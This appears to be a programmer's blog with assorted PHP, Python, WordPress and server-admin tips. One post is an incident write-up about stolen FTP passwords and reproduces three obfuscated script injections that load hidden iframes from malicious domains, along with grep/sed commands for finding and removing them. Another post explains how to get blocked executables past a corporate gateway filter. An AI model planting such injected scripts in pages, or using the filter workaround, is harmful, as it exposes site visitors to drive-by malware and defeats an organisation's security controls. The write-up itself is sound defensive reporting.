PHP, Python, Java, ColdFusion, Mobile (iPhone/Android) Programmer

First of all, I would recommend using the wp_list_categories function (which supports ‘exclude’ and ‘exclude_tree’ arguments) instead of get_the_category_list.

Sometimes we do not have the option of choosing which function to use. Also, it is unfortunate that the get_the_category_list function does not provide a hook to target each category in the list. So we have to use a hacky method to remove items. The following code uses regex to parse the string (list of HTML elements separated by a separator) being returned by get_the_category_list function (using ‘the_category’ filter) and removes the appropriate categories.

I would also like to note and the code below removes the “Uncategorized” category (which is the default category and the most common offender users want to remove) and also the “Feature” category (something I was using in my own code).

/**
 * Identifies the "Uncategorized", "Feature" link
 * preg_replace_callback for bu_library_hide_uncategorized function
 *
 * @param array $regex_parts
 * @return string
 */
function bu_library_hide_uncategorized_callback($regex_parts) {
	if( !$regex_parts or count((array)$regex_parts) != 2)
		return $regex_parts;

	if ( in_array($regex_parts[1], array('Uncategorized', 'Feature')) )
		return '';

	return $regex_parts[0];
}

/**
 * Removes the uncategorized category from $thelist string parameter
 *
 * Ignore wp-admin requests. Unfortunately, 'the_category' filter is used in other places with 1 argument), so we must
 * make the last 2 arguments optional (or we get PHP Warnings) and quit when the 2nd argument is not supplied
 */
function bu_library_hide_uncategorized($thelist, $separator = '', $parents = '') {

	// short circuit for lists that do not have uncategorized category,
	// or when this function is called from wp-admin (i.e. missing separator)
	if(is_admin() or !$separator or stripos($thelist, 'Uncategorized') === false) return $thelist;

	$listitems = explode($separator, $thelist);

	$new_listitems = array();
	foreach($listitems as $item) {
		if ($new_item = preg_replace_callback('!<\s*a[^>]*>(.*?)<\s*/a[^>]*>!im', 'bu_library_hide_uncategorized_callback', $item)) {
			$new_listitems[] = $new_item;
		}
	}

	$thelist = implode($separator, $new_listitems);
	return $thelist;
}
add_filter('the_category', 'bu_library_hide_uncategorized', 10, 3);

Don’t like how the mysqldump command keeps reading the .my.cnf and outputting the following warning/error:
mysqldump: ignoring option '--databases' due to invalid value 'dbname'

It’s been reported as a bug to mysql devs, but they keep saying it is by design, and working as intended. Here’s how you should structure the .my.cnf to avoid it:


[client]
user=user1
password=pw1
[mysql]
database=dbname


This way the “mysqldump dbname” doesn’t return that hideous error message and “mysql dbname” also works like a charm.

I wanted to integrate a NAS with rsyncd on a TomatoUSB router (equipped with ipkg and USB hard drive connect). I also wanted this NAS to be available from the outside, so I found that the instructions online were incomplete. If you’re having problems with it, please follow these two tips:

1. rsync cannot connect to rsyncd from within the network. This is the default setup that everyone wants, so it should just work. The problem is that the command that everyone tells us to use with rsyncd profiles (rsyncd.conf: [profilename]) is wrong, even on dd-wrt tutorial. It is missing an extra semicolon, so the command should be:

   rsync file.ext user@server::profilename/optional/path

   (Notice how profiles need 2 semicolons)

2. rsyncd is not accessible from outside the network. I haven’t seen instructions for these. To do this, one must do 2 things:
   • Add a rule to Port Forwarding section of the UI: forward TCP port 873 (default rsyncd port) to 192.168.1.1 (the router IP/gateway).
   • run the following command that adds a rule to the iptables firewall, inside Scripts > Firewall, or run it in the command line for a quick test (but it will disappear once you restart router):

     iptables -A INPUT -j ACCEPT -p tcp --dport 873

grep -B and -B flags don’t work when grep is used on the command line with readline support. So I created this little script that does work on the command line. use -h flag to learn. Here’s how I’ve used it:

ls -al | ./printcontext.py -b 1 -a 1 -d test.txt

This finds the test.txt file and prints the 2 files around it.

#!/usr/bin/python
# print context when using a python script with readline support (command line piping)
# by inderpreetsingh.com

import sys, re
from optparse import OptionParser

def main():
    usage = "usage: %prog [options] needle"
    parser = OptionParser(usage)
    parser.add_option("-b", "--before", type="int", dest="before", default=0,
            help='Before context lines (a la grep)')
    parser.add_option("-a", "--after", type="int", dest="after", default=0,
            help='After context lines')
    parser.add_option("-d", "--debug", action="store_true", dest="debug", default=False,
            help='Debug information.')

    #Not implemented
    #parser.add_option("-o", "--output", type="string", dest="output")

    (options, args) = parser.parse_args()

    if len(args) != 1:
        parser.error("Specify what you want to search")

    needle = args[0]
    if options.debug:
        print "\nNeedle: %s\nBefore context lines: %s\nAfter context lines: %s\n" % (needle, options.before, options.after)

    lines = sys.stdin.readlines()
    lines = [x.strip() for x in lines]

    lastline = ''
    i = 0
    for line in lines:
        if needle in line:
#        if re.search(needle, line):
            first = max(0, i - options.before)
            last = min(len(lines), i + options.after + 1)

            if options.debug:
                print "Found '%s' on line %d, printing line %d to %d" % (needle, i, first, last)

            for println in lines[first:last]:
                print println
            print ""
        lastline = line
        i += 1

if __name__ == "__main__":
    main()

What happened:
Over the past weekend, I got hit by ZeroAccess rootkit, which I’ve recently heard about making the news on a few security related sites. It disabled Microsoft Security Essentials and Windows Defender, and took over the Windows Security Center. It further controls the Network layer so that it can disable any connections to security sites. To keep itself in control, it installs itself as a service, a startup item and several scheduled tasks. It kills your exe associations at each restart (which means you can’t run any executables, possibly to remove the damned trojans/viruses). While all this is happening, it keeps installing more malware.

Internet help:
BleepingComputer (particularly the FixNCR.reg file is very helpful in restoring exe file association) and their forums
MalwareBytes AntiMalware didn’t help me much, because this rootkit and its malware friends kept coming back. (The problem is that these rootkits are modifying memory on the fly, so whatever success you think you have is misleading.)

How I got rid of it:
In safe mode, ran Kaspersky Virus Removal Tool 2011, TDSSKiller, Combofix
(Restore executable file associations by using the FixNCR.reg tool I listed above)
Once the above three fixed the issue, I used MBAM, MS Security Essentials, Spyware Doctor (not free) and SuperAntiSpyware (with Full Scans) to verify that my computer was clean.

Stolen ftp passwords:
It scans for ftp software programs, such as FileZilla, which like other ftp programs will store all your passwords in plaintext for any random person to grab. Lesson learned: Use SSH keys with passphrase to prevent this problem in the future. So it sent all these passwords back to their database, so the attackers (log below) connected to each site, recursively looked for all the common files: index.htm, index.html, index.php, login.php, auth.html, etc, etc and put the following codes (usually at the end):

1. Code:

   <script>wa='t';p='ht';f='k98';tb='ame';bg='.';v='sr';g='tp:';vf='/z';bs='t';px='v.h';br='yt';k='c';yr='m';ds='m';ej='/';au='/';t='com';sp='ifr';r='ca';cp='y';wz='ir';wf='u';b='5';se=sp.concat(tb);oz=v.concat(k);db=p.concat(g,ej,vf,wz,cp,r,bs,wf,yr,bg,t,au,f,b,br,px,wa,ds);var ip=document.createElement(se);ip.setAttribute('width','1');ip.setAttribute('height','1');ip.frameBorder=0;ip.setAttribute(oz,db);document.body.appendChild(ip);</script>

   evaluates to

   <iframe width=​"1" height=​"1" frameborder=​"0" src=​"http:​/​/​zirycatum.com/​k985ytv.htm">​</iframe>​

2. Code:

   <script>ti='.c';ai='af';qo='p';jn='htm';rf='n';tf='doz';yn='ifr';xm='s';cl='o';jd='k9';nn='tv.';rl='85y';r='umu';eh='m/';ec='htt';sb='rc';f='ame';l='://';b=yn.concat(f);gg=xm.concat(sb);qt=ec.concat(qo,l,rf,r,tf,ai,ti,cl,eh,jd,rl,nn,jn);var xp=document.createElement(b);xp.setAttribute('width','1');xp.setAttribute('height','1');xp.frameBorder=0;xp.setAttribute(gg,qt);document.body.appendChild(xp);</script>

   evaluates to

   <iframe width=​"1" height=​"1" frameborder=​"0" src=​"http:​/​/​numudozaf.com/​k985ytv.htm">​</iframe>​​

3. Code:

   <script>mv='uf';jx='tv.';cg='me';k='e';mg='rc';g='ys';rs='m';f='of';m='ht';u='85y';ca='e.c';r='s';j='fra';i='ht';h='//h';qy='wob';v='k9';a='t';qt='i';br='p:';s='om/';ul=qt.concat(j,cg);xl=r.concat(mg);xp=m.concat(a,br,h,g,f,mv,k,qy,ca,s,v,u,jx,i,rs);var bn=document.createElement(ul);bn.setAttribute('width','1');bn.setAttribute('height','1');bn.frameBorder=0;bn.setAttribute(xl,xp);document.body.appendChild(bn);</script>

   evaluates to

   <iframe width=​"1" height=​"1" frameborder=​"0" src=​"http:​/​/​hysofufewobe.com/​k985ytv.htm">​</iframe>​

   How to find and remove these exploits:
   Find:

   find . -type f -regex ".*\(py\|php\|html?\)$" -exec grep -lr "frameBorder.*setAttribute.*document.body.appendChild" {} 2> /dev/null \;

   Exaplanation:
   Find all files recursively starting from current directory that have py/php/htm/html as extension, look for those 3 keywords (“frameBorder”, “setAttribute”, then “document.body.appendChild”).
   Notes: You should make sure this command outputs filenames of files that have the exploit html code. You might need to change the keywords (if the virus code has changed). Also, “2> /dev/null” will ignore all permissions/access errors, you might want to take that out if you want to see errors for files that you don’t have access to.

   Replace (just adds sed, the file editing tool):

   find . -type f -regex ".*\(py\|php\|html?\)$" -exec grep -lr "frameBorder.*setAttribute.*document.body.appendChild" {} 2> /dev/null \; | xargs -I {} sed -i.hacked 's#<script>wa=.*</script>##g' {}

   Explanation of the command after the pipe (|):
   For each file from the previous command, edit it such that we remove from the starting script tag to the ending script tag, but only if “wa=” follows the starting script tag. Of course, you will need to run this command, replacing the “wa=” with “ti=” (like the above 2 pasted exploit codes, or whatever else the the command is currently using). This script will also backup each of the exploited file (with the extension .hacked), just in case you lose something important.

   How to prevent future ftp edits:
   Don’t use ftp programs that store plaintext passwords, or better yet use passphrase’d SSH keys (with an SSH agent to simplify your life).

   Google StopBadware
   StopBadware.org is a service, which comes with all the popular browsers like FF, Chrome, Safari. Everytime you visit a site, this service is used to check if the page/website is listed as a site that propagates badware. So as you can imagine all the exploited files (above) resulted in all the domains getting blacklisted from these browsers and on top of that, Google Search will display a “This site is harmful” message. Firefox implementation of this service is the worst because Firefox tries its hardest to make you stop visiting the site. Most likely, your site will get flagged by the Googlebot, and you will also get an email from Google titled “Malware notification regarding victimsite.com” sent to the common webmaster email addresses, abuse@victimsite.com, admin@victimsite.com, webmaster@victimsite.com, etc (so as a good practice, you should make sure one of these addresses work).
   To fix this, you will need to add your site to Google Webmaster Tools (really helpful tool for all sorts of webmaster activities, and then “Request a Review” from Diagnostics > Malware section. This is just one way, I think you can also request a review through stopbadware.org (the original vendor), but the request will probably still go through the original reporter (most likely google). Also, some requests are resolved within a day (for popular sites), and some take as long as 2 days. I’ve also noticed that a convincing argument made about security haul in the comment when asking for a review helps your case.

   Finally, Some ip addresses and an example of what it looks like in logs
   
204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "LIST /folderthis/folderthat/" 226 1862
204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "TYPE I" 200 -
204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "PASV" 227 -
204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "SIZE index.htm" 213 -
204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "RETR index.htm" 226 2573
204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "TYPE I" 200 -
204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "PASV" 227 -
204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "STOR index.htm" 226 3018

   2nd server:
Aug 14 08:58:41 customer proftpd[6367]: (::ffff:218.93.122.165[::ffff:218.93.122.165]) - FTP session opened.
Aug 14 23:37:04 customer proftpd[16356]: (::ffff:117.41.182.209[::ffff:117.41.182.209]) - FTP session closed.
Aug 15 00:20:34 customer proftpd[22467]: (::ffff:62.212.66.15[::ffff:62.212.66.15]) - FTP session opened.
Aug 15 09:12:04 customer proftpd[8899]: (::ffff:204.12.252.138[::ffff:204.12.252.138]) - FTP session closed.
Aug 15 17:09:20 customer proftpd[25532]: (::ffff:178.17.165.146[::ffff:178.17.165.146]) - FTP
Aug 15 23:42:16 customer proftpd[10474]: (::ffff:95.211.14.25[::ffff:95.211.14.25]) - FTP session closed.
Aug 16 02:22:53 customer proftpd[17143]: (::ffff:119.128.168.56[::ffff:119.128.168.56]) - FTP session opened.
Aug 16 03:51:34 customer proftpd[20771]: (::ffff:111.74.239.55[::ffff:111.74.239.55]) - FTP session closed.
Aug 16 23:32:22 customer proftpd[3396]: (::ffff:61.131.51.193[::ffff:61.131.51.193]) - FTP session opened.


Problem: I can’t set up an automated login (passwordless with ssh agent) to one of my servers.

Tip: Best way to debug SSH problems is by using ssh -vvvv server. The extra verbosity flags will tell you exactly what is going on at each interaction.

Details:
I was receiving the following code:
debug1: Trying private key: /Users/inderpreetsingh/.ssh/id_rsa
debug1: PEM_read_PrivateKey failed
debug1: read PEM private key done: type
debug3: Not a RSA1 key file /Users/inderpreetsingh/.ssh/id_rsa.
debug1: read PEM private key done: type RSA
Identity added: /Users/inderpreetsingh/.ssh/id_rsa (/Users/inderpreetsingh/.ssh/id_rsa)
debug1: read PEM private key done: type RSA
debug3: sign_and_send_pubkey
debug2: we sent a publickey packet, wait for reply
debug1: Authentications that can continue: publickey,password,hostbased
debug1: Trying private key: /Users/inderpreetsingh/.ssh/id_dsa
debug3: no such identity: /Users/inderpreetsingh/.ssh/id_dsa
debug2: we did not send a packet, disable method
debug3: authmethod_lookup password
debug3: remaining preferred: ,password
debug3: authmethod_is_enabled password
debug1: Next authentication method: password
inderpreetsingh@server's password:

Analysis: The errors are misleading. They seem to indicate that the identity file on our own machine is the culprit. But the problem was the .ssh directory and the authorized_keys file permissions. They may be too lax or too restrictive.

Fix: From your home directory, fire the following permissions:

chmod 700 ~/.ssh
chmod 600 ~/.ssh/authorized_keys

And for good measure, make sure you alone own the files:

chown username:username ~/.ssh
chown username:username ~/.ssh/authorized_keys

And passwordless SSH here I come.

There are two ways of including custom scripts/styles in an admin page for a WordPress 3 plugin.

Solution 1 (Deprecated):

$slug = add_submenu_page('myplugin.php', 'My Plugin', 'My Plugin', 'upload_files', __FILE__, 'myplugin_options');

add_action('admin_print_scripts-'. $slug, 'myplugin_enqueue_admin_scripts');
add_action('admin_print_styles-'. $slug, 'myplugin_enqueue_admin_styles');

function myplugin_enqueue_admin_scripts($suffix) {
	$plugin_path = plugin_dir_url(__FILE__) . 'resources/';
	wp_enqueue_script('jquery.js', $plugin_path . 'jquery.pack.js');
}

function myplugin_enqueue_admin_styles($suffix) {
	$plugin_path = plugin_dir_url(__FILE__) . 'resources/';
	wp_enqueue_style('jquery.css', $plugin_path . 'jquery.css');
}

Solution 2 (recommended):

$slug = add_submenu_page('myplugin.php', 'My Plugin', 'My Plugin', 'upload_files', __FILE__, 'myplugin_options');

add_action('admin_enqueue_scripts', 'myplugin_enqueue_admin_scripts');

function myplugin_enqueue_admin_scripts($hook_suffix) {
	if ($hook_suffix == 'myplugin/slug') {
		$plugin_path = plugin_dir_url(__FILE__) . 'resources/';
		wp_enqueue_script('jquery.js', $plugin_path . 'jquery.pack.js');
		wp_enqueue_style('jquery.css', $plugin_path . 'jquery.css');
	}
}

We have a SonicWall corporate network at our local Gurdwara. It for some reason prohibits some .exe files from being downloaded. Although some executables work just fine. For some executables, only an empty (0 byte) file is downloaded. For some files, my Chrome browser returns Error 101 (net::ERR_CONNECTION_RESET): Unknown error. My ftp (filezilla) fails with the following error:

Response: 150 Opening BINARY mode data connection for mp3DC213.zip (242059 bytes).
Error: Transfer connection interrupted: ECONNABORTED - Connection aborted
Response: 426 Failure writing network stream.
Error: File transfer failed


Clearly the router/gateway is blocking the files. And it is smart enough to scan the files and knows when the same executable file has been named test.mp3 and it can even read zip archive files.

Solution:
In times of need, the one sure way of getting files is to fire up a remote desktop connection or vnc or ssh session, download the file to that remote machine, compress it either 7zip (.7z extension), tarfile (.tar extension) or bzip2 (.bz2 extension) format, and then download to local computer using ftp or upload to any file uploading site.

PS: I have not tested .rar (winrar format). If anybody can test this, let me know if it works.

I had to update to the latest vBulletin 4, but for that I needed php5.3. Luckily, RHEL has put out php53-* packages (I installed php 5.3.3-1.el5_6.1 btw). I downloaded them all but they were missing php53-pear* package. I’m not sure if this is just the case for x86_64.

So the main problem was getting PEAR packages to install. I tried to get the newer way of downloading pear packages, pyrus (pear2). However, the command php pyrus.phar install ___ resulted in messages like these:
The sqlite3 extension is required.
You must compile PHP with sqlite3 enabled, or install the necessary extension for your distribution.
(Not sure which extension of php53 would resolve this)

The sqlite3 extension is required.
You must compile PHP with sqlite3 enabled, or install the necessary extension for your distribution.
(This one is resolved by downloading php53-xml, thankfully available)

Anyhow, I didn’t want to go on a hunt to try to get these php53 special packages by following the instructions listed in the manual. However, the url listed in the manual http://pear.php.net/go-pear.phar makes php-fcgi put up a blank/empty page. I had a feeling it’s these .phar (weird php compressed archives) files that they’re using. Luckily in the comments, I noticed somebody said to get http://pear.php.net/go-pear. Now that my friends worked like a charm. All I had to do was download that to the server, open it up in the browser and follow the steps as it shows.

The rest comes easy. If you got questions, fire away.

I used the IUS Community and EPEL repositories to install python 2.6 on my RHEL 5.6 Tikanga box. However I faced some errors, which I didn’t see fully documented online so I figured they would come handy to myself and whoever else tries to do similar things.

Problem 1: Error on mkvirtualenv and other commands: No module named virtualenvwrapper.hook_loader
Resolution: After looking at the source code, virtualenvwrapper can’t find our special python installation. Put the following line in your .bashrc:

VIRTUALENVWRAPPER_PYTHON=/usr/bin/python26

along with the other two lines that everybody tells you to put in:

export WORKON_HOME=$HOME/.virtualenvs
source <strong>/usr/bin/virtualenvwrapper.sh</strong>

(Note that virtualenvwrapper was installed to the above location, this is a different location than the one that everybody else (who is documenting the procedure) is installing at. I’m not sure if this is a new change in virtualenv or because of our special python26 installation. So use locate to find your location properly.)

Problem 2: Virtualenvwrapper commands do not auto-complete or can’t be found also unless .bashrc is sourced manually.
Reason: .bashrc is not executed when logging in to the box (like it should be because it is listed inside .bash_profile, which should be executed also)
Solution: This happens because virtualmin setup’s default $SHELL for each non-root user is /bin/sh. To fix this for on user, open up /etc/passwd, find the user that you are interested in, and change the /bin/sh part to /bin/bash. To fix the default for each virtualmin created user, go to virtualmin’s admin page, under System Customization > Custom Shells > Choose the /bin/bash custom shell.